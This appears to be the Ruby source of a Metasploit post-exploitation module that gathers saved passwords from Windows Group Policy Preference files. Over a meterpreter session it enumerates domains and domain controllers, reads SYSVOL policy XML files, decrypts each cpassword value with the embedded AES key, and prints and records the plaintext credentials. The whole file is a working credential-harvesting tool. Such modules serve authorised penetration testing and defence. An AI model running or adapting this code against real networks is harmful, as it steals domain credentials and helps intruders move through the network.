284 lines
8.3 KiB
Ruby
284 lines
8.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'rexml/document'
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class Metasploit3 < Msf::Post
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::Priv
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
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'Description' => %q{
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This module enumerates the victim machine's domain controller and
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connects to it via SMB. It then looks for Group Policy Preference XML
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files containing local user accounts and passwords and decrypts them
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using Microsofts public AES key.
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Tested on WinXP SP3 Client and Win2k8 R2 DC.
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},
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'License' => MSF_LICENSE,
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'Author' =>[
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'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
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'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
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'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
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'TheLightCosine <thelightcosine[at]metasploit.com>',
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'Rob Fuller <mubix[at]hak5.org>' #domain/dc enumeration code
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],
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'References' =>
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[
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['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
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['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
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['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
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['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
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],
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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if is_system?
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print_error "This needs to be run as a Domain User, not SYSTEM"
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return nil
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end
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group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
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group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
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service_path = "MACHINE\\Preferences\\Services\\Services.xml"
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printer_path = "USER\\Preferences\\Printers\\Printers.xml"
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drive_path = "USER\\Preferences\\Drives\\Drives.xml"
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datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
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datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
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task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
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task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
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windir = client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL")
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domains = []
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dcs = []
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basepaths = []
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fullpaths = []
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basepaths << get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL"))
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domains = enum_domains
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domains.reject!{|n| n == "WORKGROUP"}
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domains.each{ |domain| dcs << enum_dcs(domain)}
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dcs.flatten!
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dcs.compact!
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dcs.each{ |dc| basepaths << get_basepaths("\\\\#{dc}\\SYSVOL") }
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basepaths.flatten!
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basepaths.compact!
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basepaths.each do |policy_path|
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fullpaths << find_path(policy_path, group_path)
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fullpaths << find_path(policy_path, group_path_user)
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fullpaths << find_path(policy_path, service_path)
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fullpaths << find_path(policy_path, printer_path)
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fullpaths << find_path(policy_path, drive_path)
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fullpaths << find_path(policy_path, datasource_path)
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fullpaths << find_path(policy_path, datasource_path_user)
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fullpaths << find_path(policy_path, task_path)
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fullpaths << find_path(policy_path, task_path_user)
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end
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fullpaths.flatten!
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fullpaths.compact!
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fullpaths.each do |filepath|
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tmpfile = gpp_xml_file(filepath)
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parse_xml(tmpfile) if tmpfile
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end
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end
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def get_basepaths(base)
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locals = []
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begin
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session.fs.dir.foreach(base) do |sub|
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next if sub =~ /^(\.|\.\.)$/
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tpath = "#{base}\\#{sub}\\Policies"
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begin
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session.fs.dir.foreach(tpath) do |sub2|
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next if sub =~ /^(\.|\.\.)$/
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locals << "#{tpath}\\#{sub2}\\"
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end
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rescue
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print_error "Could not access #{tpath}"
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end
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end
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "Error accessing #{base} : #{e.message}"
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end
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return locals
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end
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def find_path(path, xml_path)
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xml_path = "#{path}\\#{xml_path}"
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begin
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return xml_path if client.fs.file.stat(xml_path)
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rescue Rex::Post::Meterpreter::RequestError => e
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# No permissions for this specific file.
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return nil
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end
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end
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def gpp_xml_file(path)
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begin
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groups = client.fs.file.new(path,'r')
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until groups.eof
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data = groups.read
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end
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spath = path.split('\\')
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retobj = {
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:domain => spath[2],
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:dc => spath[0],
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:xml => REXML::Document.new(data).root
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}
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return retobj
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "Received error code #{e.code} when reading #{path}"
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return nil
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end
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end
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def parse_xml(xmlfile)
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mxml = xmlfile[:xml]
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mxml.elements.to_a("//Properties").each do |node|
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epassword = node.attributes['cpassword']
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next if epassword.to_s.empty?
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pass = decrypt(epassword)
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user = node.attributes['runAs'] if node.attributes['runAs']
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user = node.attributes['accountName'] if node.attributes['accountName']
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user = node.attributes['username'] if node.attributes['username']
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user = node.attributes['userName'] if node.attributes['userName']
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print_good "DOMAIN CONTROLLER: #{xmlfile[:dc]} DOMAIN: #{xmlfile[:domain]} USER: #{user} PASS: #{pass} "
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report_creds(user,pass)
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end
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end
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def report_creds(user, pass)
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if session.db_record
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source_id = session.db_record.id
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else
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source_id = nil
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end
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report_auth_info(
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:host => session.sock.peerhost,
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:port => 445,
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:sname => 'smb',
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:proto => 'tcp',
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:source_id => source_id,
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:source_type => "exploit",
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:user => user,
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:pass => pass)
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end
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def decrypt(encrypted_data)
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padding = "=" * (4 - (encrypted_data.length % 4))
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epassword = "#{encrypted_data}#{padding}"
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decoded = Rex::Text.decode_base64(epassword)
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key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
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aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
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aes.decrypt
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aes.key = key
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plaintext = aes.update(decoded)
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plaintext << aes.final
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pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
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return pass
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end
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def enum_domains
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print_status "Enumerating Domains on the Network..."
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domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
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buffersize = 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
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# Estimate new buffer size on percentage recovered.
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percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
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if percent_found > 0
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buffersize = (buffersize/percent_found).to_i
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else
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buffersize += 500
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end
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while result['return'] == 234
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buffersize = buffersize + 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
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end
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count = result['totalentries']
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print_status("#{count} domain(s) found.")
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startmem = result['bufptr']
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base = 0
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domains = []
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if count == 0
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return domains
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end
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mem = client.railgun.memread(startmem, 8*count)
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count.times do |i|
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x = {}
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x[:platform] = mem[(base + 0),4].unpack("V*")[0]
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nameptr = mem[(base + 4),4].unpack("V*")[0]
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x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
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domains << x[:domain]
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base = base + 8
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end
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return domains
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end
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def enum_dcs(domain)
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print_status("Enumerating DCs for #{domain}")
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domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
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buffersize = 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
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while result['return'] == 234
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buffersize = buffersize + 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
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end
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if result['totalentries'] == 0
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print_error("No Domain Controllers found for #{domain}")
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return nil
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end
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count = result['totalentries']
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startmem = result['bufptr']
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base = 0
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mem = client.railgun.memread(startmem, 8*count)
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hostnames = []
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count.times{|i|
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t = {}
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t[:platform] = mem[(base + 0),4].unpack("V*")[0]
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nameptr = mem[(base + 4),4].unpack("V*")[0]
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t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
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base = base + 8
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print_good "DC Found: #{t[:dc_hostname]}"
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hostnames << t[:dc_hostname]
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}
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return hostnames
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end
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end
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